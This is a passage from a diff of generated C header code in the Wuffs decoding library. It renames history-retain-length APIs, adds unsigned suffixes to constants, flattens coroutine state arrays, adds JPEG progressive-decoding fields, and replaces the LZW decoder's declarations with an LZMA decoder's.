@@ struct wuffs_deflate__decoder__struct { - uint32_t v_length; - uint32_t v_dist_minus_1; - uint64_t scratch; -- } s_decode_huffman_slow[1]; -+ } s_decode_huffman_slow; - } private_data; - - #ifdef __cplusplus -@@ -8353,9 +8911,9 @@ struct wuffs_deflate__decoder__struct { - return wuffs_deflate__decoder__set_quirk(this, a_key, a_value); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_deflate__decoder__history_retain_length(this); -+ inline wuffs_base__optional_u63 -+ dst_history_retain_length() const { -+ return wuffs_deflate__decoder__dst_history_retain_length(this); - } - - inline wuffs_base__range_ii_u64 -@@ -8393,23 +8951,21 @@ extern const char wuffs_gif__error__truncated_input[]; - - // ---------------- Public Consts - --#define WUFFS_GIF__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -+#define WUFFS_GIF__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u - --#define WUFFS_GIF__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 -+#define WUFFS_GIF__QUIRK_DELAY_NUM_DECODED_FRAMES 1041635328u - --#define WUFFS_GIF__QUIRK_DELAY_NUM_DECODED_FRAMES 1041635328 -+#define WUFFS_GIF__QUIRK_FIRST_FRAME_LOCAL_PALETTE_MEANS_BLACK_BACKGROUND 1041635329u - --#define WUFFS_GIF__QUIRK_FIRST_FRAME_LOCAL_PALETTE_MEANS_BLACK_BACKGROUND 1041635329 -+#define WUFFS_GIF__QUIRK_HONOR_BACKGROUND_COLOR 1041635330u - --#define WUFFS_GIF__QUIRK_HONOR_BACKGROUND_COLOR 1041635330 -+#define WUFFS_GIF__QUIRK_IGNORE_TOO_MUCH_PIXEL_DATA 1041635331u - --#define WUFFS_GIF__QUIRK_IGNORE_TOO_MUCH_PIXEL_DATA 1041635331 -+#define WUFFS_GIF__QUIRK_IMAGE_BOUNDS_ARE_STRICT 1041635332u - --#define WUFFS_GIF__QUIRK_IMAGE_BOUNDS_ARE_STRICT 1041635332 -+#define WUFFS_GIF__QUIRK_REJECT_EMPTY_FRAME 1041635333u - --#define WUFFS_GIF__QUIRK_REJECT_EMPTY_FRAME 1041635333 -- --#define WUFFS_GIF__QUIRK_REJECT_EMPTY_PALETTE 1041635334 -+#define WUFFS_GIF__QUIRK_REJECT_EMPTY_PALETTE 1041635334u - - // ---------------- Struct Declarations - -@@ -8518,11 +9074,6 @@ WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 - wuffs_gif__decoder__frame_dirty_rect( - const wuffs_gif__decoder* self); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_gif__decoder__history_retain_length( -- const wuffs_gif__decoder* self); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 - wuffs_gif__decoder__workbuf_len( -@@ -8627,25 +9178,25 @@ struct wuffs_gif__decoder__struct { - uint32_t f_lzw_read_from_return_value; - uint16_t f_lzw_prefixes[4096]; - -- uint32_t p_decode_image_config[1]; -- uint32_t p_do_decode_image_config[1]; -- uint32_t p_tell_me_more[1]; -- uint32_t p_do_tell_me_more[1]; -- uint32_t p_decode_frame_config[1]; -- uint32_t p_do_decode_frame_config[1]; -- uint32_t p_skip_frame[1]; -- uint32_t p_decode_frame[1]; -- uint32_t p_do_decode_frame[1]; -- uint32_t p_decode_up_to_id_part1[1]; -- uint32_t p_decode_header[1]; -- uint32_t p_decode_lsd[1]; -- uint32_t p_decode_extension[1]; -- uint32_t p_skip_blocks[1]; -- uint32_t p_decode_ae[1]; -- uint32_t p_decode_gc[1]; -- uint32_t p_decode_id_part0[1]; -- uint32_t p_decode_id_part1[1]; -- uint32_t p_decode_id_part2[1]; -+ uint32_t p_decode_image_config; -+ uint32_t p_do_decode_image_config; -+ uint32_t p_tell_me_more; -+ uint32_t p_do_tell_me_more; -+ uint32_t p_decode_frame_config; -+ uint32_t p_do_decode_frame_config; -+ uint32_t p_skip_frame; -+ uint32_t p_decode_frame; -+ uint32_t p_do_decode_frame; -+ uint32_t p_decode_up_to_id_part1; -+ uint32_t p_decode_header; -+ uint32_t p_decode_lsd; -+ uint32_t p_decode_extension; -+ uint32_t p_skip_blocks; -+ uint32_t p_decode_ae; -+ uint32_t p_decode_gc; -+ uint32_t p_decode_id_part0; -+ uint32_t p_decode_id_part1; -+ uint32_t p_decode_id_part2; - } private_impl; - - struct { -@@ -8658,24 +9209,23 @@ struct wuffs_gif__decoder__struct { - - struct { - uint32_t v_background_color; -- } s_do_decode_frame_config[1]; -+ } s_do_decode_frame_config; - struct { - uint64_t scratch; -- } s_skip_frame[1]; -+ } s_skip_frame; - struct { -- uint8_t v_c[6]; -- uint32_t v_i; -- } s_decode_header[1]; -+ uint64_t scratch; -+ } s_decode_header; - struct { - uint8_t v_flags; - uint8_t v_background_color_index; - uint32_t v_num_palette_entries; - uint32_t v_i; - uint64_t scratch; -- } s_decode_lsd[1]; -+ } s_decode_lsd; - struct { - uint64_t scratch; -- } s_skip_blocks[1]; -+ } s_skip_blocks; - struct { - uint8_t v_block_size; - bool v_is_animexts; -@@ -8683,24 +9233,24 @@ struct wuffs_gif__decoder__struct { - bool v_is_iccp; - bool v_is_xmp; - uint64_t scratch; -- } s_decode_ae[1]; -+ } s_decode_ae; - struct { - uint64_t scratch; -- } s_decode_gc[1]; -+ } s_decode_gc; - struct { - uint64_t scratch; -- } s_decode_id_part0[1]; -+ } s_decode_id_part0; - struct { - uint8_t v_which_palette; - uint32_t v_num_palette_entries; - uint32_t v_i; - uint64_t scratch; -- } s_decode_id_part1[1]; -+ } s_decode_id_part1; - struct { - uint64_t v_block_size; - bool v_need_block_size; - uint64_t scratch; -- } s_decode_id_part2[1]; -+ } s_decode_id_part2; - } private_data; - - #ifdef __cplusplus -@@ -8820,11 +9370,6 @@ struct wuffs_gif__decoder__struct { - return wuffs_gif__decoder__frame_dirty_rect(this); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_gif__decoder__history_retain_length(this); -- } -- - inline wuffs_base__range_ii_u64 - workbuf_len() const { - return wuffs_gif__decoder__workbuf_len(this); -@@ -8873,9 +9418,9 @@ extern const char wuffs_gzip__error__truncated_input[]; - - // ---------------- Public Consts - --#define WUFFS_GZIP__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -+#define WUFFS_GZIP__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u - --#define WUFFS_GZIP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1 -+#define WUFFS_GZIP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1u - - // ---------------- Struct Declarations - -@@ -8943,8 +9488,8 @@ wuffs_gzip__decoder__set_quirk( - uint64_t a_value); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_gzip__decoder__history_retain_length( -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_gzip__decoder__dst_history_retain_length( - const wuffs_gzip__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE -@@ -8989,8 +9534,8 @@ struct wuffs_gzip__decoder__struct { - - bool f_ignore_checksum; - -- uint32_t p_transform_io[1]; -- uint32_t p_do_transform_io[1]; -+ uint32_t p_transform_io; -+ uint32_t p_do_transform_io; - } private_impl; - - struct { -@@ -8999,11 +9544,11 @@ struct wuffs_gzip__decoder__struct { - - struct { - uint8_t v_flags; -- uint32_t v_checksum_got; -- uint32_t v_decoded_length_got; -+ uint32_t v_checksum_have; -+ uint32_t v_decoded_length_have; - uint32_t v_checksum_want; - uint64_t scratch; -- } s_do_transform_io[1]; -+ } s_do_transform_io; - } private_data; - - #ifdef __cplusplus -@@ -9081,9 +9626,9 @@ struct wuffs_gzip__decoder__struct { - return wuffs_gzip__decoder__set_quirk(this, a_key, a_value); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_gzip__decoder__history_retain_length(this); -+ inline wuffs_base__optional_u63 -+ dst_history_retain_length() const { -+ return wuffs_gzip__decoder__dst_history_retain_length(this); - } - - inline wuffs_base__range_ii_u64 -@@ -9117,8 +9662,10 @@ extern const char wuffs_jpeg__error__bad_sof_marker[]; - extern const char wuffs_jpeg__error__bad_sos_marker[]; - extern const char wuffs_jpeg__error__bad_header[]; - extern const char wuffs_jpeg__error__bad_marker[]; -+extern const char wuffs_jpeg__error__bad_scan_count[]; - extern const char wuffs_jpeg__error__missing_huffman_table[]; - extern const char wuffs_jpeg__error__missing_quantization_table[]; -+extern const char wuffs_jpeg__error__rejected_progressive_jpeg[]; - extern const char wuffs_jpeg__error__truncated_input[]; - extern const char wuffs_jpeg__error__unsupported_arithmetic_coding[]; - extern const char wuffs_jpeg__error__unsupported_color_model[]; -@@ -9134,9 +9681,9 @@ extern const char wuffs_jpeg__error__unsupported_scan_count[]; - - // ---------------- Public Consts - --#define WUFFS_JPEG__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -+#define WUFFS_JPEG__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 51552191232u - --#define WUFFS_JPEG__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 51552191232 -+#define WUFFS_JPEG__QUIRK_REJECT_PROGRESSIVE_JPEGS 1220532224u - - // ---------------- Struct Declarations - -@@ -9269,11 +9816,6 @@ wuffs_jpeg__decoder__tell_me_more( - wuffs_base__more_information* a_minfo, - wuffs_base__io_buffer* a_src); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_jpeg__decoder__history_retain_length( -- const wuffs_jpeg__decoder* self); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 - wuffs_jpeg__decoder__workbuf_len( -@@ -9368,6 +9910,13 @@ struct wuffs_jpeg__decoder__struct { - uint32_t f_bitstream_ri; - uint32_t f_bitstream_wi; - bool f_bitstream_is_closed; -+ bool f_expect_multiple_scans; -+ bool f_use_lower_quality; -+ bool f_reject_progressive_jpegs; -+ bool f_swizzle_immediately; -+ wuffs_base__status f_swizzle_immediately_status; -+ uint32_t f_swizzle_immediately_b_offsets[10]; -+ uint32_t f_swizzle_immediately_c_offsets[5]; - uint32_t f_bitstream_padding; - uint16_t f_quant_tables[4][64]; - uint16_t f_saved_quant_tables[4][64]; -@@ -9381,28 +9930,29 @@ struct wuffs_jpeg__decoder__struct { - wuffs_base__slice_u8 a_dst_buffer, - uint64_t a_dst_stride, - uint32_t a_q); -- uint32_t p_decode_image_config[1]; -- uint32_t p_do_decode_image_config[1]; -- uint32_t p_decode_dqt[1]; -- uint32_t p_decode_dri[1]; -- uint32_t p_decode_appn[1]; -- uint32_t p_decode_sof[1]; -- uint32_t p_decode_frame_config[1]; -- uint32_t p_do_decode_frame_config[1]; -- uint32_t p_decode_frame[1]; -- uint32_t p_do_decode_frame[1]; -- uint32_t p_decode_dht[1]; -- uint32_t p_decode_sos[1]; -- uint32_t p_prepare_scan[1]; -+ uint32_t p_decode_image_config; -+ uint32_t p_do_decode_image_config; -+ uint32_t p_decode_dqt; -+ uint32_t p_decode_dri; -+ uint32_t p_decode_appn; -+ uint32_t p_decode_sof; -+ uint32_t p_decode_frame_config; -+ uint32_t p_do_decode_frame_config; -+ uint32_t p_decode_frame; -+ uint32_t p_do_decode_frame; -+ uint32_t p_decode_dht; -+ uint32_t p_decode_sos; -+ uint32_t p_prepare_scan; - wuffs_base__empty_struct (*choosy_load_mcu_blocks_for_single_component)( - wuffs_jpeg__decoder* self, - uint32_t a_mx, - uint32_t a_my, - wuffs_base__slice_u8 a_workbuf, - uint32_t a_csel); -- uint32_t p_skip_past_the_next_restart_marker[1]; -+ uint32_t p_skip_past_the_next_restart_marker; - uint32_t (*choosy_decode_mcu)( - wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, - wuffs_base__slice_u8 a_workbuf, - uint32_t a_mx, - uint32_t a_my); -@@ -9411,6 +9961,7 @@ struct wuffs_jpeg__decoder__struct { - struct { - uint8_t f_bitstream_buffer[2048]; - uint16_t f_mcu_blocks[10][64]; -+ uint8_t f_swizzle_immediately_buffer[640]; - uint8_t f_swizzle_ycck_scratch_buffer_2k[2048]; - uint8_t f_dht_temp_counts[16]; - uint8_t f_dht_temp_bit_lengths[256]; -@@ -9420,38 +9971,38 @@ struct wuffs_jpeg__decoder__struct { - struct { - uint8_t v_marker; - uint64_t scratch; -- } s_do_decode_image_config[1]; -+ } s_do_decode_image_config; - struct { - uint8_t v_q; - uint32_t v_i; -- } s_decode_dqt[1]; -+ } s_decode_dqt; - struct { - uint64_t scratch; -- } s_decode_dri[1]; -+ } s_decode_dri; - struct { - uint64_t scratch; -- } s_decode_appn[1]; -+ } s_decode_appn; - struct { - uint32_t v_i; - uint64_t scratch; -- } s_decode_sof[1]; -+ } s_decode_sof; - struct { - uint8_t v_marker; - uint64_t scratch; -- } s_do_decode_frame[1]; -+ } s_do_decode_frame; - struct { - uint8_t v_tc4_th; - uint32_t v_total_count; - uint32_t v_i; -- } s_decode_dht[1]; -+ } s_decode_dht; - struct { - uint32_t v_my; - uint32_t v_mx; -- } s_decode_sos[1]; -+ } s_decode_sos; - struct { - uint32_t v_i; - uint64_t scratch; -- } s_prepare_scan[1]; -+ } s_prepare_scan; - } private_data; - - #ifdef __cplusplus -@@ -9595,11 +10146,6 @@ struct wuffs_jpeg__decoder__struct { - return wuffs_jpeg__decoder__tell_me_more(this, a_dst, a_minfo, a_src); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_jpeg__decoder__history_retain_length(this); -- } -- - inline wuffs_base__range_ii_u64 - workbuf_len() const { - return wuffs_jpeg__decoder__workbuf_len(this); -@@ -9627,55 +10173,53 @@ extern const char wuffs_json__error__unsupported_recursion_depth[]; - - // ---------------- Public Consts - --#define WUFFS_JSON__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -- --#define WUFFS_JSON__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 -+#define WUFFS_JSON__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u - --#define WUFFS_JSON__DECODER_DEPTH_MAX_INCL 1024 -+#define WUFFS_JSON__DECODER_DEPTH_MAX_INCL 1024u - --#define WUFFS_JSON__DECODER_DST_TOKEN_BUFFER_LENGTH_MIN_INCL 1 -+#define WUFFS_JSON__DECODER_DST_TOKEN_BUFFER_LENGTH_MIN_INCL 1u - --#define WUFFS_JSON__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 100 -+#define WUFFS_JSON__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 100u - --#define WUFFS_JSON__QUIRK_ALLOW_ASCII_CONTROL_CODES 1225364480 -+#define WUFFS_JSON__QUIRK_ALLOW_ASCII_CONTROL_CODES 1225364480u - --#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_A 1225364481 -+#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_A 1225364481u - --#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_CAPITAL_U 1225364482 -+#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_CAPITAL_U 1225364482u - --#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_E 1225364483 -+#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_E 1225364483u - --#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_NEW_LINE 1225364484 -+#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_NEW_LINE 1225364484u - --#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_QUESTION_MARK 1225364485 -+#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_QUESTION_MARK 1225364485u - --#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_SINGLE_QUOTE 1225364486 -+#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_SINGLE_QUOTE 1225364486u - --#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_V 1225364487 -+#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_V 1225364487u - --#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_X_AS_CODE_POINTS 1225364489 -+#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_X_AS_CODE_POINTS 1225364489u - --#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_ZERO 1225364490 -+#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_ZERO 1225364490u - --#define WUFFS_JSON__QUIRK_ALLOW_COMMENT_BLOCK 1225364491 -+#define WUFFS_JSON__QUIRK_ALLOW_COMMENT_BLOCK 1225364491u - --#define WUFFS_JSON__QUIRK_ALLOW_COMMENT_LINE 1225364492 -+#define WUFFS_JSON__QUIRK_ALLOW_COMMENT_LINE 1225364492u - --#define WUFFS_JSON__QUIRK_ALLOW_EXTRA_COMMA 1225364493 -+#define WUFFS_JSON__QUIRK_ALLOW_EXTRA_COMMA 1225364493u - --#define WUFFS_JSON__QUIRK_ALLOW_INF_NAN_NUMBERS 1225364494 -+#define WUFFS_JSON__QUIRK_ALLOW_INF_NAN_NUMBERS 1225364494u - --#define WUFFS_JSON__QUIRK_ALLOW_LEADING_ASCII_RECORD_SEPARATOR 1225364495 -+#define WUFFS_JSON__QUIRK_ALLOW_LEADING_ASCII_RECORD_SEPARATOR 1225364495u - --#define WUFFS_JSON__QUIRK_ALLOW_LEADING_UNICODE_BYTE_ORDER_MARK 1225364496 -+#define WUFFS_JSON__QUIRK_ALLOW_LEADING_UNICODE_BYTE_ORDER_MARK 1225364496u - --#define WUFFS_JSON__QUIRK_ALLOW_TRAILING_FILLER 1225364497 -+#define WUFFS_JSON__QUIRK_ALLOW_TRAILING_FILLER 1225364497u - --#define WUFFS_JSON__QUIRK_EXPECT_TRAILING_NEW_LINE_OR_EOF 1225364498 -+#define WUFFS_JSON__QUIRK_EXPECT_TRAILING_NEW_LINE_OR_EOF 1225364498u - --#define WUFFS_JSON__QUIRK_JSON_POINTER_ALLOW_TILDE_N_TILDE_R_TILDE_T 1225364499 -+#define WUFFS_JSON__QUIRK_JSON_POINTER_ALLOW_TILDE_N_TILDE_R_TILDE_T 1225364499u - --#define WUFFS_JSON__QUIRK_REPLACE_INVALID_UNICODE 1225364500 -+#define WUFFS_JSON__QUIRK_REPLACE_INVALID_UNICODE 1225364500u - - // ---------------- Struct Declarations - -@@ -9742,11 +10286,6 @@ wuffs_json__decoder__set_quirk( - uint32_t a_key, - uint64_t a_value); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_json__decoder__history_retain_length( -- const wuffs_json__decoder* self); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 - wuffs_json__decoder__workbuf_len( -@@ -9794,11 +10333,11 @@ struct wuffs_json__decoder__struct { - uint8_t f_trailer_stop; - uint8_t f_comment_type; - -- uint32_t p_decode_tokens[1]; -- uint32_t p_decode_leading[1]; -- uint32_t p_decode_comment[1]; -- uint32_t p_decode_inf_nan[1]; -- uint32_t p_decode_trailer[1]; -+ uint32_t p_decode_tokens; -+ uint32_t p_decode_leading; -+ uint32_t p_decode_comment; -+ uint32_t p_decode_inf_nan; -+ uint32_t p_decode_trailer; - } private_impl; - - struct { -@@ -9808,7 +10347,7 @@ struct wuffs_json__decoder__struct { - uint32_t v_depth; - uint32_t v_expect; - uint32_t v_expect_after_value; -- } s_decode_tokens[1]; -+ } s_decode_tokens; - } private_data; - - #ifdef __cplusplus -@@ -9886,11 +10425,6 @@ struct wuffs_json__decoder__struct { - return wuffs_json__decoder__set_quirk(this, a_key, a_value); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_json__decoder__history_retain_length(this); -- } -- - inline wuffs_base__range_ii_u64 - workbuf_len() const { - return wuffs_json__decoder__workbuf_len(this); -@@ -9911,24 +10445,33 @@ struct wuffs_json__decoder__struct { - - #endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) || defined(WUFFS_NONMONOLITHIC) - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) || defined(WUFFS_NONMONOLITHIC) -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZMA) || defined(WUFFS_NONMONOLITHIC) - - // ---------------- Status Codes - --extern const char wuffs_lzw__error__bad_code[]; --extern const char wuffs_lzw__error__truncated_input[]; -+extern const char wuffs_lzma__error__bad_lzma2_header[]; -+extern const char wuffs_lzma__error__bad_bitstream_trailer[]; -+extern const char wuffs_lzma__error__bad_code[]; -+extern const char wuffs_lzma__error__bad_decoded_length[]; -+extern const char wuffs_lzma__error__bad_distance[]; -+extern const char wuffs_lzma__error__bad_header[]; -+extern const char wuffs_lzma__error__truncated_input[]; -+extern const char wuffs_lzma__error__unsupported_decoded_length[]; -+extern const char wuffs_lzma__error__unsupported_properties[]; - - // ---------------- Public Consts - --#define WUFFS_LZW__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -+#define WUFFS_LZMA__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u - --#define WUFFS_LZW__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 -+#define WUFFS_LZMA__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 4294967568u - --#define WUFFS_LZW__QUIRK_LITERAL_WIDTH_PLUS_ONE 1348378624 -+#define WUFFS_LZMA__QUIRK_ALLOW_NON_ZERO_INITIAL_BYTE 1348001792u -+ -+#define WUFFS_LZMA__QUIRK_FORMAT_EXTENSION 1348001793u - - // ---------------- Struct Declarations - --typedef struct wuffs_lzw__decoder__struct wuffs_lzw__decoder; -+typedef struct wuffs_lzma__decoder__struct wuffs_lzma__decoder; - - #ifdef __cplusplus - extern "C" { -@@ -9943,14 +10486,14 @@ extern "C" { - // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_lzw__decoder__initialize( -- wuffs_lzw__decoder* self, -+wuffs_lzma__decoder__initialize( -+ wuffs_lzma__decoder* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options); - - size_t --sizeof__wuffs_lzw__decoder(void); -+sizeof__wuffs_lzma__decoder(void); - - // ---------------- Allocs - -@@ -9960,19 +10503,19 @@ sizeof__wuffs_lzw__decoder(void); - // calling free on the returned pointer. That pointer is effectively a C++ - // std::unique_ptr. - --wuffs_lzw__decoder* --wuffs_lzw__decoder__alloc(void); -+wuffs_lzma__decoder* -+wuffs_lzma__decoder__alloc(void); - - static inline wuffs_base__io_transformer* --wuffs_lzw__decoder__alloc_as__wuffs_base__io_transformer(void) { -- return (wuffs_base__io_transformer*)(wuffs_lzw__decoder__alloc()); -+wuffs_lzma__decoder__alloc_as__wuffs_base__io_transformer(void) { -+ return (wuffs_base__io_transformer*)(wuffs_lzma__decoder__alloc()); - } - - // ---------------- Upcasts - - static inline wuffs_base__io_transformer* --wuffs_lzw__decoder__upcast_as__wuffs_base__io_transformer( -- wuffs_lzw__decoder* p) { -+wuffs_lzma__decoder__upcast_as__wuffs_base__io_transformer( -+ wuffs_lzma__decoder* p) { - return (wuffs_base__io_transformer*)p; - } - -@@ -9980,40 +10523,35 @@ wuffs_lzw__decoder__upcast_as__wuffs_base__io_transformer( - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_lzw__decoder__get_quirk( -- const wuffs_lzw__decoder* self, -+wuffs_lzma__decoder__get_quirk( -+ const wuffs_lzma__decoder* self, - uint32_t a_key); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_lzw__decoder__set_quirk( -- wuffs_lzw__decoder* self, -+wuffs_lzma__decoder__set_quirk( -+ wuffs_lzma__decoder* self, - uint32_t a_key, - uint64_t a_value); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_lzw__decoder__history_retain_length( -- const wuffs_lzw__decoder* self); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_lzma__decoder__dst_history_retain_length( -+ const wuffs_lzma__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_lzw__decoder__workbuf_len( -- const wuffs_lzw__decoder* self); -+wuffs_lzma__decoder__workbuf_len( -+ const wuffs_lzma__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_lzw__decoder__transform_io( -- wuffs_lzw__decoder* self, -+wuffs_lzma__decoder__transform_io( -+ wuffs_lzma__decoder* self, - wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src, - wuffs_base__slice_u8 a_workbuf); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__slice_u8 --wuffs_lzw__decoder__flush( -- wuffs_lzw__decoder* self); -- - #ifdef __cplusplus - } // extern "C" - #endif -@@ -10027,7 +10565,7 @@ wuffs_lzw__decoder__flush( - - #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - --struct wuffs_lzw__decoder__struct { -+struct wuffs_lzma__decoder__struct { - // Do not access the private_impl's or private_data's fields directly. There - // is no API/ABI compatibility or safety guarantee if you do so. Instead, use - // the wuffs_foo__bar__baz functions. -@@ -10041,45 +10579,113 @@ struct wuffs_lzw__decoder__struct { - wuffs_base__vtable vtable_for__wuffs_base__io_transformer; - wuffs_base__vtable null_vtable; - -- uint32_t f_pending_literal_width_plus_one; -- uint32_t f_literal_width; -- uint32_t f_clear_code; -- uint32_t f_end_code; -- uint32_t f_save_code; -- uint32_t f_prev_code; -- uint32_t f_width; -- uint32_t f_bits; -- uint32_t f_n_bits; -- uint32_t f_output_ri; -- uint32_t f_output_wi; -- uint32_t f_read_from_return_value; -- uint16_t f_prefixes[4096]; -- -- uint32_t p_transform_io[1]; -- uint32_t p_write_to[1]; -+ uint32_t f_lc; -+ uint32_t f_lp; -+ uint32_t f_pb; -+ uint32_t f_format_extension; -+ uint32_t f_dict_size; -+ uint32_t f_dict_workbuf_index; -+ uint32_t f_dict_seen; -+ uint64_t f_decoded_length; -+ uint64_t f_lzma2_encoded_length_have; -+ uint64_t f_lzma2_encoded_length_want; -+ bool f_lzma2_need_prob_reset; -+ bool f_lzma2_need_properties; -+ bool f_lzma2_need_dict_reset; -+ bool f_prev_lzma2_chunk_was_uncompressed; -+ bool f_allow_non_zero_initial_byte; -+ bool f_end_of_chunk; -+ uint8_t f_stashed_bytes[2]; -+ uint32_t f_stashed_bits; -+ uint32_t f_stashed_range; -+ uint32_t f_stashed_state; -+ uint32_t f_stashed_rep0; -+ uint32_t f_stashed_rep1; -+ uint32_t f_stashed_rep2; -+ uint32_t f_stashed_rep3; -+ uint64_t f_stashed_pos; -+ uint64_t f_stashed_pos_end; -+ -+ uint32_t p_decode_bitstream_slow; -+ uint32_t p_transform_io; -+ uint32_t p_do_transform_io; -+ uint32_t p_decode_bitstream; -+ uint32_t p_update_stashed_bytes; -+ uint32_t p_decode_optional_end_of_stream; - } private_impl; - - struct { -- uint8_t f_suffixes[4096][8]; -- uint16_t f_lm1s[4096]; -- uint8_t f_output[8199]; -+ uint16_t f_probs_ao00[192]; -+ uint16_t f_probs_ao20[12]; -+ uint16_t f_probs_ao40[12]; -+ uint16_t f_probs_ao41[192]; -+ uint16_t f_probs_ao60[12]; -+ uint16_t f_probs_ao63[12]; -+ uint16_t f_probs_match_len_low[16][8]; -+ uint16_t f_probs_match_len_mid[16][8]; -+ uint16_t f_probs_match_len_high[1][256]; -+ uint16_t f_probs_longrep_len_low[16][8]; -+ uint16_t f_probs_longrep_len_mid[16][8]; -+ uint16_t f_probs_longrep_len_high[1][256]; -+ uint16_t f_probs_slot[4][64]; -+ uint16_t f_probs_small_dist[128]; -+ uint16_t f_probs_large_dist[16]; -+ uint16_t f_probs_lit[16][768]; -+ -+ struct { -+ uint32_t v_bits; -+ uint32_t v_range; -+ uint32_t v_state; -+ uint32_t v_rep0; -+ uint32_t v_rep1; -+ uint32_t v_rep2; -+ uint32_t v_rep3; -+ uint32_t v_rep; -+ uint64_t v_pos; -+ uint64_t v_pos_end; -+ uint32_t v_lc; -+ uint64_t v_lp_mask; -+ uint64_t v_pb_mask; -+ uint32_t v_tree_node; -+ uint8_t v_prev_byte; -+ uint32_t v_match_byte; -+ uint32_t v_len_state; -+ uint32_t v_slot; -+ uint32_t v_len; -+ uint32_t v_lanl_offset; -+ uint32_t v_num_extra_bits; -+ uint32_t v_dist_extra_bits; -+ uint32_t v_i; -+ uint32_t v_index_lit; -+ uint32_t v_index_len; -+ uint32_t v_index_small_dist_base; -+ uint32_t v_index_small_dist_extra; -+ uint32_t v_index_large_dist; -+ uint32_t v_dist; -+ uint64_t scratch; -+ } s_decode_bitstream_slow; -+ struct { -+ uint8_t v_header_byte; -+ uint32_t v_length; -+ uint64_t scratch; -+ } s_do_transform_io; - } private_data; - - #ifdef __cplusplus - #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -- using unique_ptr = std::unique_ptr; -+ using unique_ptr = std::unique_ptr; - - // On failure, the alloc_etc functions return nullptr. They don't throw. - - static inline unique_ptr - alloc() { -- return 